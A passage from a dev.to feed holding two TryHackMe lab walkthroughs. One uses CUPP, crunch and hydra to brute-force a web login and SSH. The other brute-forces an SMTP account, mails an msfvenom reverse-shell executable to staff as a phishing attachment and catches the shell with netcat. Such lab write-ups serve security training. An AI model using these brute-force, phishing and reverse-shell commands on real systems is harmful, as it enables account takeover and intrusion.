&lt;span class="gp"&gt;      \                     #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;User
&lt;span class="gp"&gt;       \   ,__,             #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Passwords
&lt;span class="gp"&gt;        \  (oo)____         #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Profiler
&lt;span class="go"&gt;           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
&lt;/span&gt;&lt;span class="gp"&gt;[+] If you don't know all the info, just hit enter when asked! ;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;First Name: Marco
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Surname: Bianchi
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Nickname: marky
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Birthdate &lt;span class="o"&gt;(&lt;/span&gt;DDMMYYYY&lt;span class="o"&gt;)&lt;/span&gt;: 14021995
&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; name: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; nickname: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; birthdate &lt;span class="o"&gt;(&lt;/span&gt;DDMMYYYY&lt;span class="o"&gt;)&lt;/span&gt;: 
&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Child&lt;span class="s1"&gt;'s name: 
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;Child'&lt;/span&gt;s nickname: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Child&lt;span class="s1"&gt;'s birthdate (DDMMYYYY): 
&lt;/span&gt;&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Pet&lt;span class="s1"&gt;'s name: 
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;Company name: 
&lt;/span&gt;&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add some key words about the victim? Y/[N]: N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add special chars at the end of words? Y/[N]: N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add some random numbers at the end of words? Y/[N]:N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Leet mode? &lt;span class="o"&gt;(&lt;/span&gt;i.e. leet &lt;span class="o"&gt;=&lt;/span&gt; 1337&lt;span class="o"&gt;)&lt;/span&gt; Y/[N]: N
&lt;span class="go"&gt;
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to marco.txt, counting 2816 words.
[+] Now load your pistolero with marco.txt and shoot! Good luck!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then used this command -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; marco &lt;span class="nt"&gt;-P&lt;/span&gt; marco.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5003 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6g6uaxi77xbztoziljw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6g6uaxi77xbztoziljw.png" alt=" " width="785" height="155"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 4:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;after log in with that credential we got this interface -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fknkp2zj798w63kghvb10.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fknkp2zj798w63kghvb10.png" alt=" " width="799" height="427"&gt;&lt;/a&gt;&lt;br&gt;
When we opoened his profile pic noticed the file name is sha-256,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr9zwx5ak1cdkj6cihvn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr9zwx5ak1cdkj6cihvn.png" alt=" " width="800" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwon2lbswi64byytj81lt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwon2lbswi64byytj81lt.jpeg" alt=" " width="702" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 5:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now notice marco's post and also notice "oliver" hotel name-&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t02i7vwgtqxjukdv24m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t02i7vwgtqxjukdv24m.png" alt=" " width="646" height="179"&gt;&lt;/a&gt;&lt;br&gt;
But the oliver is not the company keyword what marco was indicating he was indicating "security" keyword under his post -&amp;gt;&lt;br&gt;
so used this 2 commands -&amp;gt;&lt;br&gt;
&lt;code&gt;crunch 13 13 -t Security20%%! -o marco_wordlist.txt&lt;/code&gt;&lt;br&gt;
&lt;code&gt;hydra -l marco -P marco_wordlist.txt ssh://10.48.180.224&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8o1fxhiq52qfuglw5jo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8o1fxhiq52qfuglw5jo.png" alt=" " width="800" height="695"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>You Got Mail: Compromising a Windows Mail Server | TryHackMe</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Wed, 17 Jun 2026 07:17:24 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/you-got-mail-compromising-a-windows-mail-server-tryhackme-4kd7</link>
      <guid>https://dev.to/ibrahim71reza/you-got-mail-compromising-a-windows-mail-server-tryhackme-4kd7</guid>
      <description>&lt;p&gt;In this walkthrough, we'll explore how one email password led to a complete mail server compromise.&lt;/p&gt;

&lt;p&gt;NMAP command,&lt;br&gt;
&lt;code&gt;sudo nmap -sS -sV -sC -O -Pn -p- --min-rate 1000 -T4 -oA fullscan &amp;lt;target-ip&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99wqhe1set7b9rblue42.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99wqhe1set7b9rblue42.png" alt=" " width="684" height="605"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The target is a &lt;strong&gt;Windows mail server (BRICK-MAIL)&lt;/strong&gt; running &lt;strong&gt;hMailServer&lt;/strong&gt; with SMTP, POP3, and IMAP services exposed. It also has &lt;strong&gt;SMB (445)&lt;/strong&gt;, &lt;strong&gt;RDP (3389)&lt;/strong&gt;, and &lt;strong&gt;WinRM (5985)&lt;/strong&gt; open, making those the main services to investigate next.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When I surf the website &lt;strong&gt;&lt;a href="https://brownbrick.co/" rel="noopener noreferrer"&gt;https://brownbrick.co/&lt;/a&gt;&lt;/strong&gt;, I noticed this part -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friuvc3q5of5ouu1r5dmk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friuvc3q5of5ouu1r5dmk.png" alt=" " width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I listed all the emails and for the password try to gather the keywords from the website with the help of the "cewl" &amp;amp; after that with "hydra" checked the open SMTP server at &lt;strong&gt;port 587&lt;/strong&gt; to find a legit password of someone -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;emails.txt 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;oaurelius@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wrohit@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lhedvig@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tchikondi@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pcathrine@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fstamatis@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                                     
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;cewl &lt;span class="nt"&gt;--lowercase&lt;/span&gt; https://brownbrick.co/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwords.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                                     
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; emails.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt 10.49.179.117 smtp &lt;span class="nt"&gt;-s&lt;/span&gt; 587 &lt;span class="nt"&gt;-t&lt;/span&gt; 12
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra v9.6 &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2023 by van Hauser/THC &amp;amp; David Maciejak - Please &lt;span class="k"&gt;do &lt;/span&gt;not use &lt;span class="k"&gt;in &lt;/span&gt;military or secret service organizations, or &lt;span class="k"&gt;for &lt;/span&gt;illegal purposes &lt;span class="o"&gt;(&lt;/span&gt;this is non-binding, these &lt;span class="k"&gt;***&lt;/span&gt; ignore laws and ethics anyway&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; starting at 2026-06-13 06:28:48
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DATA] max 12 tasks per 1 server, overall 12 tasks, 1134 login tries &lt;span class="o"&gt;(&lt;/span&gt;l:6/p:189&lt;span class="o"&gt;)&lt;/span&gt;, ~95 tries per task
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DATA] attacking smtp://10.49.179.117:587/
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;587][smtp] host: 10.49.179.117   login: lhedvig@brownbrick.co   password: br&lt;span class="k"&gt;***&lt;/span&gt;s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;1 of 1 target successfully completed, 1 valid password found
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; finished at 2026-06-13 06:29:27
&lt;span class="go"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, with this "&lt;a href="mailto:lhedvig@brownbrick.co"&gt;lhedvig@brownbrick.co&lt;/a&gt;" we can send a phishing mail in which we can make the other users to click or execute our attached malicious file [ which we will collect from the "msfvenom" (reverse shell for windows) ] and we notice that "wrohit" user was the victim -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.129.81 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;443 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-] No &lt;span class="nb"&gt;arch &lt;/span&gt;selected, selecting &lt;span class="nb"&gt;arch&lt;/span&gt;: x64 from the payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;No encoder specified, outputting raw payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Payload size: 460 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Final size of exe file: 7680 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Saved as: shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                    
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;email &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;emails.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;sendemail &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"lhedvig@brownbrick.co"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"test"&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"test"&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; shell.exe &lt;span class="nt"&gt;-s&lt;/span&gt; 10.49.179.117:25 &lt;span class="nt"&gt;-xu&lt;/span&gt; &lt;span class="s2"&gt;"lhedvig@brownbrick.co"&lt;/span&gt; &lt;span class="nt"&gt;-xp&lt;/span&gt; &lt;span class="s2"&gt;"bricks"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:38 kali sendemail[5277]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:39 kali sendemail[5278]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:39 kali sendemail[5279]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:40 kali sendemail[5280]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:40 kali sendemail[5281]: Email was sent successfully!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jun 13 07:40:41 kali sendemail[5282]: Email was sent successfully!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in the reverse shell listener port we get this -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;rlwrap nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 443
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 443 ...
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connect to &lt;span class="o"&gt;[&lt;/span&gt;192.168.129.81] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.49.179.117] 49946
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Microsoft Windows &lt;span class="o"&gt;[&lt;/span&gt;Version 10.0.17763.1821]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2018 Microsoft Corporation. All rights reserved.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;whoami
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;brick-mail&lt;span class="se"&gt;\w&lt;/span&gt;rohit
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;dir
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume &lt;span class="k"&gt;in &lt;/span&gt;drive C has no label.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume Serial Number is A8A4-C362
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Directory of C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM    &amp;lt;DIR&amp;gt;          &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM    &amp;lt;DIR&amp;gt;          ..
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;03/17/2024  06:09 PM               258 exec-mail.ps1
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;06/13/2026  11:40 AM             7,680 shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;2 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;          7,938 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;2 Dir&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;  13,990,260,736 bytes free
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;dir C:&lt;span class="se"&gt;\*&lt;/span&gt;flag&lt;span class="k"&gt;*&lt;/span&gt;.txt /s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\*&lt;/span&gt;flag&lt;span class="k"&gt;*&lt;/span&gt;.txt /s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume &lt;span class="k"&gt;in &lt;/span&gt;drive C has no label.
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Volume Serial Number is A8A4-C362
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Directory of C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;03/11/2024  05:15 AM                25 flag.txt
